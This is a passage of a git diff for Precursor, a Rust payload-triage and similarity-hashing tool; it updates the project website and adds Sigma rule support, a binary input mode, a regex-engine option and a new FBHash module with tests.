row.appendChild(track); + statsBars.appendChild(row); + }); + + statsJson.textContent = JSON.stringify(statsSample, null, 2); +} + +renderStatsMode(); diff --git a/site/index.html b/site/index.html index 83467da..c0a8aad 100644 --- a/site/index.html +++ b/site/index.html @@ -1,159 +1,202 @@ - - - - Precursor | Pre-Protocol Similarity Triage - - - - - - - -
-
-
-

precursor.hashdb.io

-

Pre-Protocol Payload Triage for Packets, Logs, and Firmware Fragments

-

- Precursor tags payloads with named captures, clusters near-matches with - TLSH/LZJD (and optional MRSHv2 adapter mode), and emits JSON designed - for SOC pipelines and LLM-guided protocol discovery loops. -

- -
-
-
-

Dual Input Shapes

-

Text/base64/hex now, raw-binary expansion in active roadmap.

+ + + + Precursor | Pre-Protocol Similarity Triage + + + + + + + + + +
+
+
+

precursor.hashdb.io

+

Pre-Protocol Payload Triage for Packets, Logs, and Firmware Fragments

+

+ Precursor tags payloads with named captures, clusters near-matches with + TLSH/LZJD/FBHash (and optional MRSHv2 adapter mode), and emits JSON designed + for SOC pipelines and LLM-guided protocol discovery loops. +

+ +
+ +
+
+

Dual Input Shapes

+

Text/base64/hex plus raw-binary blob support via -B.

+
+
+

Similarity Modes

+

TLSH + LZJD + FBHash implemented, MRSHv2 available behind native adapter feature.

+
+
+

Detection Inputs

+

PCRE files, Sigma keyword YAML, or inline patterns feed the same triage pipeline.

+
+
+ +
+
+

Why Install Precursor

+

+ One command turns opaque payload streams into tags, clusters, and + protocol confidence output you can act on immediately. +

+
+
+
+

Input stream

+
+ GET /admin HTTP/1.1 + 16 03 03 ... + 00 01 00 00 00 06 11 03 ... +
-
-

Similarity Modes

-

TLSH + LZJD implemented, MRSHv2 available behind native adapter feature.

+ +
+

Tag + similarity

+
    +
  • tags: ["http_method"]
  • +
  • similarity_hash: "lzjd:..."
  • +
  • tlsh_similarities: {...}
  • +
-
-

Discovery Loop

-

Protocol hints + single-packet inference for human and LLM analysis loops.

-
-
- -
-
-

Why Install Precursor

-

- One command turns opaque payload streams into tags, clusters, and - protocol confidence output you can act on immediately. -

-
-
-
-

Input stream

-
- GET /admin HTTP/1.1 - 16 03 03 ... - 00 01 00 00 00 06 11 03 ... + +
+

Actionable triage

+
+
+ http + 0.93 +
+
+ tls + 0.90
-
- -
-

Tag + similarity

-
    -
  • tags: ["http_method"]
  • -
  • similarity_hash: "lzjd:..."
  • -
  • tlsh_similarities: {...}
  • -
-
- -
-

Actionable triage

-
-
- http - 0.93 -
-
- tls - 0.90 -
-
- firmware_binary - 0.86 -
+
+ firmware_binary + 0.86
-
+
+
+
+
+
+ Sample JSON line
-
+
{"protocol_label":"http","protocol_confidence":0.93,"similarity_hash":"lzjd:128:...","tags":["http_method"]}
+
+
+ +
+
+

Scenario Demos

+

These examples map directly to files committed under samples/scenarios/.

+
+ +
+

+

+
- Sample JSON line + Command +
-
{"protocol_label":"http","protocol_confidence":0.93,"similarity_hash":"lzjd:128:...","tags":["http_method"]}
+
-
+
+
+ Expected signal +
+
+
+
+
-
-
-

Scenario Demos

-

These examples map directly to files committed under samples/scenarios/.

+
+
+

Mini Demo Reels

+

Short terminal playbacks built from real scenario output snapshots.

+
+ +
+
+ +
- -
-

-

-
-
- Command - -
-
-
+
+
+
+ +
+
+

Stats Mode Explained

+

+ Run with --stats to emit a structured run summary on stderr while + keeping payload records on stdout. +

+
+
+
+

What You Get

+
    +
  • Input: volume and size profile of all processed payloads.
  • +
  • Match: pattern counts, hit totals, and hash generation counts.
  • +
  • Compare: distance summary when enough pairwise comparisons exist.
  • +
  • Environment: execution context, including similarity and regex mode.
  • +
+

+ This makes it easy to add basic health checks, throughput baselines, and release regression + guardrails without parsing full result streams. +

+
+
+

Sample Snapshot

+
- Expected signal + Sample --stats JSON
-
+
-
+
+
-
-

High-Impact Use Cases

-
-
-

Exploit Spray Triage

-

Cluster scanner traffic before parser development and identify repeated payload families quickly.

-
-
-

ICS/OT Packet Discovery

-

Start from single packets when DPI fails or protocol metadata is missing.

-
-
-

Firmware Fragment Sorting

-

Tag binary fragments by magic + similarity to route unknown blobs to the right analyst workflow.

-
-
-
+
+

High-Impact Use Cases

+
+
+

Exploit Spray Triage

+

Cluster evasive probe families before parser development and identify repeated payload mutations quickly. +

+
+
+

Sigma-to-Stream Validation

+

Reuse Sigma keyword intent directly against shell/log streams to validate or tune detections.

+
+
+

Firmware + DNS Hunt Pivoting

+

Tag binary fragments and suspicious DNS query families in one JSON-first workflow.

+
+
+
+
-
-

Deploy This Site to GitHub Pages

-
    -
  1. Enable Pages in repository settings and select GitHub Actions as source.
  2. -
  3. Create DNS record: precursor.hashdb.io CNAME obsecurus.github.io.
  4. -
  5. Push to main; workflow pages.yml publishes site/.
  6. -
-
- + + - - diff --git a/site/styles.css b/site/styles.css index 31f2384..ed52b58 100644 --- a/site/styles.css +++ b/site/styles.css @@ -297,6 +297,121 @@ section { color: var(--muted); } +.reel-tabs { + margin-top: 0.95rem; + display: flex; + flex-wrap: wrap; + gap: 0.65rem; +} + +.reel-tabs button { + border: 1px solid var(--line); + border-radius: 999px; + background: #fff; + font-family: "IBM Plex Mono", monospace; + font-size: 0.78rem; + padding: 0.42rem 0.78rem; + color: var(--ink); + cursor: pointer; +} + +.reel-tabs button[aria-selected="true"] { + border-color: var(--teal); + background: rgba(15, 143, 143, 0.15); +} + +.reel-player { + margin-top: 0.9rem; + border: 1px solid var(--line); + border-radius: 22px; + background: rgba(255, 255, 255, 0.82); + padding: 1rem; +} + +.reel-player pre { + min-height: 14rem; + max-height: 24rem; + background: #131b24; +} + +.stats-mode-grid { + margin-top: 0.95rem; + display: grid; + gap: 0.9rem; + grid-template-columns: 1fr 1.3fr; +} + +.stats-legend, +.stats-viz { + border: 1px solid var(--line); + border-radius: 16px; + background: rgba(255, 255, 255, 0.84); + padding: 0.85rem; +} + +.stats-legend h3, +.stats-viz h3 { + margin: 0; + font-size: 1rem; +} + +.stats-legend ul { + margin: 0.6rem 0 0; + padding-left: 1rem; + display: grid; + gap: 0.4rem; + color: var(--muted); +} + +.stats-legend li { + font-size: 0.9rem; +} + +.stats-legend code { + color: #1f2a35; + font-size: 0.78rem; +} + +.stats-note { + margin: 0.75rem 0 0; + color: var(--muted); + font-size: 0.9rem; +} + +.stats-bars { + margin-top: 0.7rem; + display: grid; + gap: 0.5rem; +} + +.stats-bar { + display: grid; + gap: 0.28rem; +} + +.stats-bar-head { + display: flex; + justify-content: space-between; + font-family: "IBM Plex Mono", monospace; + font-size: 0.74rem; + color: var(--ink); +} + +.stats-bar-track { + width: 100%; + height: 8px; + border-radius: 999px; + border: 1px solid var(--line); + background: rgba(15, 31, 47, 0.06); + overflow: hidden; +} + +.stats-bar-fill { + height: 100%; + border-radius: 999px; + background: linear-gradient(90deg, var(--teal), var(--accent)); +} + .code-wrap { margin-top: 0.8rem; border: 1px solid var(--line); @@ -404,7 +519,8 @@ code { @media (max-width: 900px) { .stats, - .cards { + .cards, + .stats-mode-grid { grid-template-columns: 1fr; } diff --git a/src/main.rs b/src/main.rs index 2b918ea..7cd83b9 100644 --- a/src/main.rs +++ b/src/main.rs @@ -18,6 +18,8 @@ extern crate serde_json; extern crate xxhash_rust; use crate::precursor::inference::infer_protocol_candidates; +use crate::precursor::regex_engine::{vectorscan_compatibility_issues, RegexEngine}; +use crate::precursor::sigma::{load_sigma_rule_plan, matching_sigma_rules, SigmaRulePlan}; use crate::precursor::similarity::*; use crate::precursor::util::*; @@ -41,12 +43,18 @@ const TLSH_DISTANCE: &str = "tlsh-distance"; const TLSH_SIM_ONLY: &str = "tlsh-sim-only"; const INPUT_FOLDER: &str = "input-folder"; const INPUT_MODE: &str = "input-mode"; +const INPUT_BINARY: &str = "input-binary"; const INPUT_BLOB: &str = "input-blob"; const INPUT_MODE_BASE64: &str = "base64"; const INPUT_MODE_STRING: &str = "string"; const INPUT_MODE_HEX: &str = "hex"; +const INPUT_MODE_BINARY: &str = "binary"; const INPUT_JSON_KEY: &str = "input-json-key"; const PATTERN_FILE: &str = "pattern-file"; +const SIGMA_RULE: &str = "sigma-rule"; +const REGEX_ENGINE: &str = "regex-engine"; +const REGEX_ENGINE_PCRE2: &str = "pcre2"; +const REGEX_ENGINE_VECTORSCAN: &str = "vectorscan"; const PATTERN: &str = "pattern"; const SIMILARITY_MODE: &str = "similarity-mode"; const SIMILARITY_MODE_TLSH: &str = "tlsh"; @@ -59,6 +67,42 @@ const SINGLE_PACKET: &str = "single-packet"; const ABSTAIN_THRESHOLD: &str = "abstain-threshold"; const PROTOCOL_TOP_K: &str = "protocol-top-k"; +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +enum PatternOrigin { + Standard, + Sigma, +} + +#[derive(Debug)] +struct CompiledPattern { + regex: pcre2::bytes::Regex, + origin: PatternOrigin, +} + +fn compact_pattern(pattern: &str) -> String { + let compacted = pattern.replace('\n', "\\n"); + let mut chars = compacted.chars(); + let preview: String = chars.by_ref().take(120).collect(); + if chars.next().is_some() { + format!("{}...", preview) + } else { + preview + } +} + +fn resolved_input_mode<'a>(args: &'a ArgMatches) -> &'a str { + if args.get_flag(INPUT_BINARY) { + INPUT_MODE_BINARY + } else { + args.get_one::(INPUT_MODE) + .map_or(INPUT_MODE_BASE64, String::as_str) + } +} + +fn blob_mode_enabled(args: &ArgMatches, input_mode: &str) -> bool { + args.get_flag(INPUT_BLOB) || input_mode == INPUT_MODE_BINARY +} + fn main() { // Start execution timer let start = Instant::now(); @@ -84,14 +128,14 @@ fn main() { // Create map store to store tlsh_reports by tlsh let tlsh_reports: DashMap = DashMap::new(); let similarity_mode_help = if cfg!(feature = "similarity-mrshv2") { - "Select the similarity backend. TLSH/LZJD/MRSHv2 are implemented; FBHash is scaffolded." + "Select the similarity backend. TLSH, LZJD, FBHash, and MRSHv2 (feature-gated) are implemented." } else { - "Select the similarity backend. TLSH and LZJD are implemented; MRSHv2/FBHash are scaffolded." + "Select the similarity backend. TLSH, LZJD, and FBHash are implemented; MRSHv2 requires an optional feature." }; // Create a clap::ArgMatches object to store the CLI arguments let cmd = Command::new("precursor") - .about("Precursor is a PCRE2 payload tagging and similarity hashing CLI (TLSH/LZJD) for text, hex, or base64 input.") + .about("Precursor is a PCRE2 payload tagging and similarity hashing CLI (TLSH/LZJD) for text, binary, hex, or base64 input.") .color(ColorChoice::Auto) .long_about("Precursor currently supports the following TLSH algorithms:\n 1. Tlsh48_1\n @@ -100,11 +144,11 @@ fn main() { 4. Tlsh256_1\n 5. Tlsh256_3\n 6. LZJD-style sketching (`--similarity-mode lzjd`)\n + 7. FBHash-inspired chunk vector sketching (`--similarity-mode fbhash`)\n \n The -d flag performs pairwise distance calculations between every line of input provided. This is an expensive O(2^n) operation and can consume significant amounts of memory. You can optimize this by using appropriate PCRE2 pre-filters and choosing a smaller TLSH algorithm/sketch.") .arg(Arg::new(PATTERN) .help("Specify the PCRE2 pattern to be used, it must contain a single named capture group.") - .required_unless_present(PATTERN_FILE) .index(1)) .arg(Arg::new(INPUT_FOLDER) .short('f') @@ -117,13 +161,22 @@ fn main() { .long(INPUT_BLOB) .help("Process each input source as a single blob instead of splitting on newlines.") .action(ArgAction::SetTrue)) + .arg(Arg::new(INPUT_BINARY) + .short('B') + .long(INPUT_BINARY) + .help("Treat each input source as raw binary bytes (implies blob processing semantics).") + .action(ArgAction::SetTrue)) .arg(Arg::new(PATTERN_FILE) .short('p') .long(PATTERN_FILE) .value_parser(PathBufValueParser::new()) .help("Specify the path to the file containing PCRE2 patterns, one per line, each must contain a single named capture group.") - .conflicts_with(PATTERN) .action(ArgAction::Set)) + .arg(Arg::new(SIGMA_RULE) + .long(SIGMA_RULE) + .value_parser(PathBufValueParser::new()) + .help("Load Sigma rule YAML, convert detection selectors into named PCRE2 patterns, and apply Sigma `condition` logic.") + .action(ArgAction::Append)) .arg(Arg::new(TLSH) .short('t') .long(TLSH) @@ -169,6 +222,12 @@ fn main() { ]) .action(ArgAction::Set) .default_value(SIMILARITY_MODE_TLSH)) + .arg(Arg::new(REGEX_ENGINE) + .long(REGEX_ENGINE) + .help("Regex execution engine. `vectorscan` currently runs compatibility checks and falls back to PCRE2 in this build.") + .value_parser([REGEX_ENGINE_PCRE2, REGEX_ENGINE_VECTORSCAN]) + .action(ArgAction::Set) + .default_value(REGEX_ENGINE_PCRE2)) .arg(Arg::new(PROTOCOL_HINTS) .long(PROTOCOL_HINTS) .help("Emit protocol-discovery hint JSON to STDERR for LLM-guided analysis loops.") @@ -201,8 +260,13 @@ fn main() { .arg(Arg::new(INPUT_MODE) .short('m') .long(INPUT_MODE) - .help("Specify the payload mode as base64, string, or hex for stdin.") - .value_parser([INPUT_MODE_BASE64, INPUT_MODE_STRING, INPUT_MODE_HEX]) + .help("Specify the payload mode as base64, string, hex, or binary.") + .value_parser([ + INPUT_MODE_BASE64, + INPUT_MODE_STRING, + INPUT_MODE_HEX, + INPUT_MODE_BINARY, + ]) .action(ArgAction::Set) .default_value("base64")) .arg(Arg::new(INPUT_JSON_KEY) @@ -227,22 +291,21 @@ fn main() { std::process::exit(2); } }; + let regex_engine_value = args + .get_one::(REGEX_ENGINE) + .map_or(REGEX_ENGINE_PCRE2, String::as_str); + let regex_engine = match RegexEngine::from_str(regex_engine_value) { + Ok(engine) => engine, + Err(err) => { + eprintln!("Unable to parse regex engine: {}", err); + std::process::exit(2); + } + }; let similarity_requested = args.get_flag(TLSH) || args.get_flag(TLSH_DIFF) || args.get_flag(TLSH_LENGTH); if similarity_requested { let mrshv2_enabled = cfg!(feature = "similarity-mrshv2"); - if similarity_mode == SimilarityMode::FbHash { - eprintln!( - "Similarity mode '{}' is scaffolded but not implemented yet. Use --{} {} or --{} {} for active hashing.", - similarity_mode.as_str(), - SIMILARITY_MODE, - SIMILARITY_MODE_TLSH, - SIMILARITY_MODE, - SIMILARITY_MODE_LZJD - ); - std::process::exit(2); - } if similarity_mode == SimilarityMode::Mrshv2 && !mrshv2_enabled { eprintln!( "Similarity mode '{}' requires compiling with `--features similarity-mrshv2` and linking a native adapter. Use --{} {} or --{} {} for active hashing in this build.", @@ -256,33 +319,91 @@ fn main() { } } + let input_mode = resolved_input_mode(&args); + if input_mode == INPUT_MODE_BINARY && args.get_one::(INPUT_JSON_KEY).is_some() { + eprintln!( + "--{} cannot be combined with --{} because JSON extraction requires UTF-8 text input.", + INPUT_BINARY, INPUT_JSON_KEY + ); + std::process::exit(2); + } + let blob_mode = blob_mode_enabled(&args, input_mode); + let tlsh_list = Mutex::new(tlsh_list); let payload_reports = Mutex::new(payload_reports); - let patterns: Vec = - if let Some(pattern_file) = args.get_one::(PATTERN_FILE) { - match read_patterns(Some(pattern_file)) { - Ok(patterns) => patterns, + let mut sigma_rule_plans: Vec = Vec::new(); + let mut pattern_specs: Vec<(String, PatternOrigin)> = Vec::new(); + if let Some(pattern_file) = args.get_one::(PATTERN_FILE) { + match read_patterns(Some(pattern_file)) { + Ok(loaded_patterns) => { + for loaded_pattern in loaded_patterns { + pattern_specs.push((loaded_pattern, PatternOrigin::Standard)); + } + } + Err(err) => { + eprintln!( + "Unable to read pattern file {}: {}", + pattern_file.display(), + err + ); + std::process::exit(2); + } + } + } + if let Some(pattern) = args.get_one::(PATTERN) { + pattern_specs.push((pattern.to_string(), PatternOrigin::Standard)); + } + if let Some(sigma_rules) = args.get_many::(SIGMA_RULE) { + for sigma_rule in sigma_rules { + match load_sigma_rule_plan(sigma_rule.as_path()) { + Ok(plan) => { + for spec in &plan.pattern_specs { + pattern_specs.push((spec.regex.to_string(), PatternOrigin::Sigma)); + } + sigma_rule_plans.push(plan); + } Err(err) => { - eprintln!( - "Unable to read pattern file {}: {}", - pattern_file.display(), - err - ); + eprintln!("{}", err); std::process::exit(2); } } - } else if let Some(pattern) = args.get_one::(PATTERN) { - vec![pattern.to_string()] - } else { - eprintln!("Either a positional pattern or --pattern-file must be provided."); - std::process::exit(2); - }; + } + } + if pattern_specs.is_empty() { + eprintln!( + "At least one pattern source is required: positional PATTERN, --{}, or --{}.", + PATTERN_FILE, SIGMA_RULE + ); + std::process::exit(2); + } + + if regex_engine == RegexEngine::Vectorscan { + eprintln!( + "Regex engine '{}' is currently a compatibility scaffold; executing with '{}' runtime in this build.", + regex_engine.as_str(), + RegexEngine::Pcre2.as_str() + ); + } - let mut compiled_patterns = Vec::with_capacity(patterns.len()); - for pattern in &patterns { + let mut compiled_patterns = Vec::with_capacity(pattern_specs.len()); + for (pattern, origin) in &pattern_specs { + if regex_engine == RegexEngine::Vectorscan { + let issues = vectorscan_compatibility_issues(pattern); + if !issues.is_empty() { + eprintln!( + "Pattern '{}' requires PCRE2 fallback semantics under '{}': {}", + compact_pattern(pattern), + regex_engine.as_str(), + issues.join("; ") + ); + } + } match build_regex(pattern) { - Ok(re) => compiled_patterns.push(re), + Ok(re) => compiled_patterns.push(CompiledPattern { + regex: re, + origin: *origin, + }), Err(err) => { eprintln!("Invalid PCRE2 pattern '{}': {}", pattern, err); std::process::exit(2); @@ -317,7 +438,7 @@ fn main() { continue; } - if args.get_flag(INPUT_BLOB) { + if blob_mode { let blob = match std::fs::read(&file_path) { Ok(blob) => blob, Err(err) => { @@ -329,7 +450,9 @@ fn main() { handle_blob( blob.as_slice(), &compiled_patterns, + &sigma_rule_plans, &args, + input_mode, &similarity_mode, &tlsh_list, &payload_reports, @@ -363,7 +486,9 @@ fn main() { handle_line( &line, &compiled_patterns, + &sigma_rule_plans, &args, + input_mode, &similarity_mode, &tlsh_list, &payload_reports, @@ -378,7 +503,7 @@ fn main() { } } else { let stdin = io::stdin(); - if args.get_flag(INPUT_BLOB) { + if blob_mode { let mut blob = Vec::new(); let mut lock = stdin.lock(); if let Err(err) = lock.read_to_end(&mut blob) { @@ -389,7 +514,9 @@ fn main() { handle_blob( blob.as_slice(), &compiled_patterns, + &sigma_rule_plans, &args, + input_mode, &similarity_mode, &tlsh_list, &payload_reports, @@ -418,7 +545,9 @@ fn main() { handle_line( line, &compiled_patterns, + &sigma_rule_plans, &args, + input_mode, &similarity_mode, &tlsh_list, &payload_reports, @@ -603,9 +732,7 @@ fn main() { 0 } }; - let input_mode = args - .get_one::(INPUT_MODE) - .map_or(INPUT_MODE_BASE64, String::as_str); + let input_mode = resolved_input_mode(&args); let hash_function = args .get_one::(TLSH_ALGORITHM) .map_or("48_1", String::as_str); @@ -616,7 +743,7 @@ fn main() { // Create a JSON object for the stats let stats = json!({ - "---PRECURSOR_STATISTICS---": "This JSON is output to STDERR so that you can parse stats seperate from the primary output.", + "---PRECURSOR_STATISTICS---": "This JSON is output to STDERR so that you can parse stats separate from the primary output.", "Input": { "Count": counter_inputs.get(), "Unique": unique_payload_count, @@ -641,6 +768,7 @@ fn main() { "DurationSeconds": formated_duration, "ProcessingRate": processing_rate, "SimilarityMode": similarity_mode.as_str(), + "RegexEngine": regex_engine.as_str(), "InputMode": input_mode, "HashFunction": hash_function, "DistanceThreshold": distance_threshold, @@ -651,6 +779,7 @@ fn main() { "SinglePacketInference": args.get_flag(SINGLE_PACKET), "AbstainThreshold": args.get_one::(ABSTAIN_THRESHOLD).copied().unwrap_or(0.65), "ProtocolTopK": args.get_one::(PROTOCOL_TOP_K).copied().unwrap_or(3), + "SigmaRulesLoaded": sigma_rule_plans.len(), }, } ); @@ -1039,7 +1168,8 @@ fn decode_payload_from_json_expression( fn process_decoded_payload( payload: Vec, mut json_clone: Value, - patterns: &[pcre2::bytes::Regex], + patterns: &[CompiledPattern], + sigma_rule_plans: &[SigmaRulePlan], args: &ArgMatches, similarity_mode: &SimilarityMode, tlsh_list: &Mutex>, @@ -1068,10 +1198,12 @@ fn process_decoded_payload( let mut matched_capture_groups: Vec = Vec::new(); let mut matched_tag_names: Vec = Vec::new(); - let mut match_exists = false; + let mut standard_match_exists = false; + let mut sigma_pattern_match_exists = false; - for re in patterns.iter() { - let result = re + for compiled in patterns.iter() { + let result = compiled + .regex .captures_iter(payload.as_slice()) .filter_map(|res| res.ok()) .any(|caps| { @@ -1082,7 +1214,7 @@ fn process_decoded_payload( } counter_pcre_matches_total.inc(); let mut found_match = false; - for name in re.capture_names() { + for name in compiled.regex.capture_names() { if let Some(name) = name { if caps.name(name).is_some() { // Here we increment a counter for each of the capture group names from the PCRE2 patterns. @@ -1099,10 +1231,19 @@ fn process_decoded_payload( found_match }); if result { - match_exists = true; + match compiled.origin { + PatternOrigin::Standard => standard_match_exists = true, + PatternOrigin::Sigma => sigma_pattern_match_exists = true, + } } } + let sigma_rule_matches = matching_sigma_rules(sigma_rule_plans, &matched_tag_names); + let sigma_condition_match_exists = !sigma_rule_matches.is_empty(); + let match_exists = standard_match_exists + || sigma_condition_match_exists + || (sigma_rule_plans.is_empty() && sigma_pattern_match_exists); + let mut json_tlsh_hash: Value = Value::String(String::new()); let tlsh_algorithm = match args.get_one::(TLSH_ALGORITHM) { Some(algorithm) => algorithm, @@ -1154,6 +1295,20 @@ fn process_decoded_payload( json_clone["similarity_hash"] = json_tlsh_hash.clone(); } json_clone["tags"] = Value::Array(matched_capture_groups); + if !sigma_rule_matches.is_empty() { + json_clone["sigma_rule_matches"] = Value::Array( + sigma_rule_matches + .iter() + .map(|rule| Value::String(rule.rule_name.to_string())) + .collect(), + ); + json_clone["sigma_rule_ids"] = Value::Array( + sigma_rule_matches + .iter() + .map(|rule| Value::String(rule.rule_slug.to_string())) + .collect(), + ); + } if args.get_flag(SINGLE_PACKET) { let abstain_threshold = args .get_one::(ABSTAIN_THRESHOLD) @@ -1200,8 +1355,10 @@ fn process_decoded_payload( fn handle_blob( blob: &[u8], - patterns: &[pcre2::bytes::Regex], + patterns: &[CompiledPattern], + sigma_rule_plans: &[SigmaRulePlan], args: &ArgMatches, + input_mode: &str, similarity_mode: &SimilarityMode, tlsh_list: &Mutex>, payload_reports: &Mutex>, @@ -1212,10 +1369,6 @@ fn handle_blob( counter_unique_payloads: &Arc>>, counter_pcre_matches_total: &Arc, ) { - let input_mode = args - .get_one::(INPUT_MODE) - .map_or(INPUT_MODE_BASE64, String::as_str); - let (payload, json_clone) = if let Some(payload_key) = args.get_one::(INPUT_JSON_KEY) { let blob_as_utf8 = match std::str::from_utf8(blob) { Ok(text) => text, @@ -1235,36 +1388,13 @@ fn handle_blob( } } } else { - let payload = match input_mode { - INPUT_MODE_STRING => blob.to_vec(), - INPUT_MODE_BASE64 | INPUT_MODE_HEX => { - let blob_as_utf8 = match std::str::from_utf8(blob) { - Ok(text) => text, - Err(err) => { - eprintln!( - "Unable to decode blob using input mode {}: {}", - input_mode, err - ); - return; - } - }; - let normalized: String = blob_as_utf8 - .chars() - .filter(|ch| !ch.is_whitespace()) - .collect(); - match get_payload(&normalized, input_mode) { - Ok(decoded) => decoded, - Err(err) => { - eprintln!( - "Unable to decode blob using input mode {}: {}", - input_mode, err - ); - return; - } - } - } - _ => { - eprintln!("{} not a supported input mode.", input_mode); + let payload = match get_payload_from_blob(blob, input_mode) { + Ok(decoded) => decoded, + Err(err) => { + eprintln!( + "Unable to decode blob using input mode {}: {}", + input_mode, err + ); return; } }; @@ -1275,6 +1405,7 @@ fn handle_blob( payload, json_clone, patterns, + sigma_rule_plans, args, similarity_mode, tlsh_list, @@ -1290,8 +1421,10 @@ fn handle_blob( fn handle_line( line: &str, - patterns: &[pcre2::bytes::Regex], + patterns: &[CompiledPattern], + sigma_rule_plans: &[SigmaRulePlan], args: &ArgMatches, + input_mode: &str, similarity_mode: &SimilarityMode, tlsh_list: &Mutex>, payload_reports: &Mutex>, @@ -1302,9 +1435,6 @@ fn handle_line( counter_unique_payloads: &Arc>>, counter_pcre_matches_total: &Arc, ) { - let input_mode = args - .get_one::(INPUT_MODE) - .map_or(INPUT_MODE_BASE64, String::as_str); let (payload, json_clone) = if let Some(payload_key) = args.get_one::(INPUT_JSON_KEY) { match decode_payload_from_json_expression(line, payload_key, input_mode) { Ok(decoded) => decoded, @@ -1331,6 +1461,7 @@ fn handle_line( payload, json_clone, patterns, + sigma_rule_plans, args, similarity_mode, tlsh_list, diff --git a/src/precursor/fbhash.rs b/src/precursor/fbhash.rs new file mode 100644 index 0000000..d481111 --- /dev/null +++ b/src/precursor/fbhash.rs @@ -0,0 +1,182 @@ +use sha2::{Digest, Sha256}; +use std::cmp::Ordering; +use std::collections::HashMap; +use xxhash_rust::xxh3::xxh3_64; + +const FBHASH_WINDOW_SIZE: usize = 7; +const FBHASH_FINGERPRINT_FEATURES: usize = 32; + +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct FbHash { + features: Vec<(u64, u32)>, + payload_len: usize, + digest: String, +} + +impl FbHash { + pub fn as_string(&self) -> &str { + self.digest.as_str() + } + + pub fn diff(&self, right: &Self, include_file_length: bool) -> i32 { + let mut left_idx = 0usize; + let mut right_idx = 0usize; + let mut dot_product = 0.0f64; + let mut norm_left = 0.0f64; + let mut norm_right = 0.0f64; + + while left_idx < self.features.len() && right_idx < right.features.len() { + let (left_hash, left_tf) = self.features[left_idx]; + let (right_hash, right_tf) = right.features[right_idx]; + match left_hash.cmp(&right_hash) { + Ordering::Equal => { + let left_weight = feature_weight(left_tf, 2); + let right_weight = feature_weight(right_tf, 2); + dot_product += left_weight * right_weight; + norm_left += left_weight * left_weight; + norm_right += right_weight * right_weight; + left_idx += 1; + right_idx += 1; + } + Ordering::Less => { + let left_weight = feature_weight(left_tf, 1); + norm_left += left_weight * left_weight; + left_idx += 1; + } + Ordering::Greater => { + let right_weight = feature_weight(right_tf, 1); + norm_right += right_weight * right_weight; + right_idx += 1; + } + } + } + + while left_idx < self.features.len() { + let (_, left_tf) = self.features[left_idx]; + let left_weight = feature_weight(left_tf, 1); + norm_left += left_weight * left_weight; + left_idx += 1; + } + while right_idx < right.features.len() { + let (_, right_tf) = right.features[right_idx]; + let right_weight = feature_weight(right_tf, 1); + norm_right += right_weight * right_weight; + right_idx += 1; + } + + let cosine_similarity = if norm_left == 0.0 || norm_right == 0.0 { + 0.0 + } else { + dot_product / (norm_left.sqrt() * norm_right.sqrt()) + }; + let mut distance = ((1.0 - cosine_similarity.clamp(0.0, 1.0)) * 100.0).round() as i32; + + if include_file_length { + let max_len = self.payload_len.max(right.payload_len) as f64; + if max_len > 0.0 { + let len_delta = self.payload_len.abs_diff(right.payload_len) as f64; + let len_penalty = ((len_delta / max_len) * 10.0).round() as i32; + distance = (distance + len_penalty).clamp(0, 100); + } + } + + distance.clamp(0, 100) + } +} + +pub fn calculate_fbhash(payload: &[u8]) -> Result { + if payload.is_empty() { + return Err("FBHash requires a non-empty payload".to_string()); + } + + let mut frequencies: HashMap = HashMap::new(); + let mut chunk_count = 0usize; + + if payload.len() < FBHASH_WINDOW_SIZE { + let hash = xxh3_64(payload); + frequencies.insert(hash, 1); + chunk_count = 1; + } else { + for chunk in payload.windows(FBHASH_WINDOW_SIZE) { + let hash = xxh3_64(chunk); + let entry = frequencies.entry(hash).or_insert(0); + *entry += 1; + chunk_count += 1; + } + } + + if frequencies.is_empty() { + return Err("FBHash failed to extract any chunk features".to_string()); + } + + let mut features: Vec<(u64, u32)> = frequencies.into_iter().collect(); + features.sort_unstable_by_key(|(feature_hash, _)| *feature_hash); + + let digest = render_digest(features.as_slice(), payload.len(), chunk_count); + Ok(FbHash { + features, + payload_len: payload.len(), + digest, + }) +} + +fn feature_weight(term_frequency: u32, document_frequency: u32) -> f64 { + // FBHash-inspired weighting: log-scaled TF with a local two-document IDF proxy. + let tf = 1.0 + (term_frequency as f64).ln(); + let idf = (1.0 + (2.0 / document_frequency as f64)).ln(); + tf * idf +} + +fn render_digest(features: &[(u64, u32)], payload_len: usize, chunk_count: usize) -> String { + let mut ranked = features.to_vec(); + ranked.sort_unstable_by(|(left_hash, left_tf), (right_hash, right_tf)| { + right_tf + .cmp(left_tf) + .then_with(|| left_hash.cmp(right_hash)) + }); + ranked.truncate(FBHASH_FINGERPRINT_FEATURES); + + let mut digest_bytes = Vec::with_capacity((ranked.len() * 12) + 16); + digest_bytes.extend_from_slice(&(payload_len as u64).to_be_bytes()); + digest_bytes.extend_from_slice(&(chunk_count as u64).to_be_bytes()); + for (feature_hash, term_frequency) in ranked { + digest_bytes.extend_from_slice(&feature_hash.to_be_bytes()); + digest_bytes.extend_from_slice(&term_frequency.to_be_bytes()); + } + let digest = Sha256::digest(digest_bytes.as_slice()); + let short_fingerprint = hex::encode(&digest[..16]); + format!("fbhash:{}:{}", features.len(), short_fingerprint) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_calculate_fbhash_prefix() { + let hash = calculate_fbhash(b"GET / HTTP/1.1\r\nHost: example.org\r\n") + .expect("expected fbhash hash"); + assert!(hash.as_string().starts_with("fbhash:")); + } + + #[test] + fn test_diff_identical_payloads_is_zero() { + let left = calculate_fbhash(b"AAAAABBBBBCCCCCDDDD").expect("expected left hash"); + let right = calculate_fbhash(b"AAAAABBBBBCCCCCDDDD").expect("expected right hash"); + assert_eq!(left.diff(&right, false), 0); + } + + #[test] + fn test_diff_changes_with_different_payloads() { + let left = calculate_fbhash(b"AAAAABBBBBCCCCCDDDD").expect("expected left hash"); + let right = + calculate_fbhash(b"\x7fELF\x02\x01\x01\x00\xAA\xBB\xCC\xDD").expect("expected right"); + assert!(left.diff(&right, false) > 0); + } + + #[test] + fn test_short_payload_supported() { + let hash = calculate_fbhash(b"abc").expect("expected short hash"); + assert!(hash.as_string().starts_with("fbhash:")); + } +} diff --git a/src/precursor/mod.rs b/src/precursor/mod.rs index 0fdfbc6..c29fc71 100644 --- a/src/precursor/mod.rs +++ b/src/precursor/mod.rs @@ -1,6 +1,9 @@ +pub mod fbhash; pub mod inference; pub mod lzjd; pub mod mrshv2; +pub mod regex_engine; +pub mod sigma; pub mod similarity; pub mod tlsh; diff --git 